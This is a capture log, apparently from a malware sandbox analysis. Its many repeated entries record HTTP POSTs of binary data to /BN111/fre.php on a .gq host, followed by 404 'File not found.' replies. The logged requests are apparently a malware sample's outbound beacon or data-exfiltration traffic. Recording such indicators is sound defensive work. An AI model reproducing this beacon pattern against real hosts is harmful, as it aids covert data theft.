Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 169Connection: close
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:19 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tc%2BH09Yr5HaypHMlBF4iUDG3nhys2pPE4zSX4LGjecWNJzGpM%2B99gDFRrUNEMRf3eoe2rHO1C%2BujLeyZYYPL6AvWl4cI4PR4ssIE72e%2BnJtPmjJiBKaVLXSCw8d0%2BL7Ql8nO18QK89ttl7gsAcZIK9ns5%2B1G5A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf331c2f691f-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:20 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hQkFe3UJ1QmCzUsZUQlHGGa3jv5VhF59kyHL%2FAsWX3Cle1Hp0JGwG2RiPxylz6fXh7eYHqVnm1Viov8%2Fg8G0zh1TwiCsMn%2BxPOnxpZErkhdqFG1ph3AcJYoYgnYYS96tyPBQDWnFXqoyO4YpwFfZSNVBuZc%2BQw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf3b3ba57057-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:21 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gywdBNFWVFKIiZY3FEiKOzs84VMPVYr0KsnkFxu9YBLF66h9wh5gFt%2BKvxTgQoptbBobPo4zo%2FqKzOkAcdBuhuoMMrcjb2wrOtLU4%2BScQPJGN05F5R8f5lBn8MTmqMmHsvXJe26qCeRgvef6Z2NcGbvmdK2vnQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf4179ac16e6-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:22 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rIV1TCFtSps327NCu2VLT4v29yYPaf8k0h8mWGTLoJdR4ctIDPvXYKYGHAiiR70AaLpuz4o3vkmUXm72wLswxeU23M%2BVnkrC6oouZxiAyBfAU%2B7srHMGXyKvERWjs%2FICV8ZBHL3aKPib3xMytSdkecNOp%2BGqKQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf493e674e9d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:23 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5wgGIaVyqpazjweKVSLXwiCkN75Ifsmvy1yNZb2HaTGFvj97QAK7byh9rdPZijXBS8IE2ZBG%2FYRIB4fcQZc0542rQ1bDIXwKO%2FyT7rfH3BOzsIfhWyfBIdPcSEdN3h0udKSLVpVjCxXslaXSnf%2Bcj8Aw4JtpmA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf50b8e24de8-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:25 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TUPKE8D4UGkHYeoSd0yWKGHpiVyKRj77CORXDe0%2F1O83cFqfjhqZ0VrDKDJl5PNFM1d7k7a%2BakFbs2fwMXUXRPnpAD93uQfrQNlF5%2B5FUNRmWTFz4Fi75GfzaL9mPeByBQ%2BOUK4b0qNxYwgtN4fwhqW64C7hPA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf578ab14e5c-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:26 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NBl2laSVW7g6vrcMW38%2F2YBxeOPQrkwxtPhBgARwSEgAQNN%2Fw9iGGS%2FMcVDd5bsPKDfZf7F34jWKWukgO%2BC6zW4jkS8RqojfmfBcKo9bpy3LJAKlcTfInQaxeHYOzrjAYApe5O2EWJUMAr1uyWTrEaztAHnaRg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf5eafe9695b-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:27 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OvCReYL5kOGzCHk1X2inrDg3LE1il6%2B7FTgD%2FXIswLKX9fCBRgXz9DRTR%2BULHUkhSfhznG6alUky58mQbc1ir%2ByqnxuDkYKD854tu9UOoiYexIWXj8lJVJPVQ2nEQja6fVQg5wAHAZeKEplbfNmZMMqLBlJM6A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf66ec32692b-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:30 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0Hk46wdoG1U27nz707h6QtW1GUw2h6o9OisNkyhB2aYUTsS7ahwfcM37s0X%2BXm8zCJMTqINkuUnoOUc6RiTwkeUHqopnJbQ82UpWA9CyU9N%2BqKVbZ2JX9RAD3Z5d9c3nY2pdXuQ2K39C%2BMU9nFo%2Bj20Dqe22SQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf795ca042e1-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:31 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xk4891DLaBXXjT1FhSY5vGjPMlx7%2FPwKsYbmlt3n3G5MwqOiF37%2FMqhNAZ9k%2FwEIMsJstsiC5k0UvsMw0imxbeYrZlZTQ1lGsg9Eox%2BRhZh7Mbe51awkrb53qeX5Jtjag4OXYQUnQ2SLmWUAhH7J7El0v%2F1uGA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf804c5d4eb0-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:32 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PsyKz23oumG1N2Qa6W82cL6U9NuCNhNUuC%2FZVgvvwW%2BDV3gzbbFfzB3%2BNtArLcKJk6RAdkcWIb70IWH9c1BU5tnjxYGlq1KaEkpgcFVk3A%2FjDdAOS0gYz6ayeBdJqQBA9VqH4EPLTxPN245tSgs%2BJ6qZbgIytw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf873cad5c62-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:33 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H68GrAIUZ61ik30eQPT7ieOnffpsCaIqd%2B20QY25W3jNlrWDPyTlhkKHRfJS%2FiUtwct9SjTEfhD8iO%2B5yucBGT673jWQTRVTfa6kc7%2Fx89CXhw5%2Fm91Iu3OgHm5JHlTRSAOWIMlJ6872pwxceJSRHYfcODJ2aQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf8e7a2f2b65-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:35 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uZ0sVZ19FquxOnQnQ8eV27mBYy1WgM0CUPb1NNnWMJzxc3043xzagNkBokq638MVdi87wkRVwA%2FaDhBllVz6Wa7tU%2BXqwhXPidoHFsE7wvUTdAVBYElnVusQQa8dyaLYa2RuJ8MO2LY4BrfzJZWgJLGhDagHvA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf9619e27025-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:36 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=cfaTZhkdZ%2B4BJCg2NEEt3iB1wdphtOW7vYogkgF6ssnB0JtOYVEcfiVEntxnGT8GGYD49JE7n6oNLeWj%2BaC3dp6n%2FnvCW6Yfyv6vLBoDeaIyz7FL%2BFkuxcREOUryCFN7LVICmGTi487rSg3JKSZqNWUkm5jFTQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debf9cfa384a85-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:37 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Yx4q2GcB87W4VIt%2F6Bl3361rtQSoUi34qsv3Q1MEZfb%2BSUNJrztSsb%2BJ14kBZzFEMs0Tkh%2F8iKsclQJnJlu7SyIBt6Rz6eoZ8nTufwUUBVTn4sWWS4kQt51roLWM4G0PcAOACqu4oY8Th1%2B801eD8ZrqSMLkmw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debfa408094e97-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:38 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Pn8lTUVtVtKkV%2B9%2FhI5pH%2Bbv3JxxkgBA0SYiWdJIlkIQKZcw5zH1I8kAF6QAJOIRQjkM%2BOmDifl0B6xVMTePviWGDxi0zLdm1s%2FnLGulx3kj4q8F2zNoVyQpgtSXW0TCRUbCOKrT9TH7mteyHIsbeqJURSgUUg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debfabfe766933-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
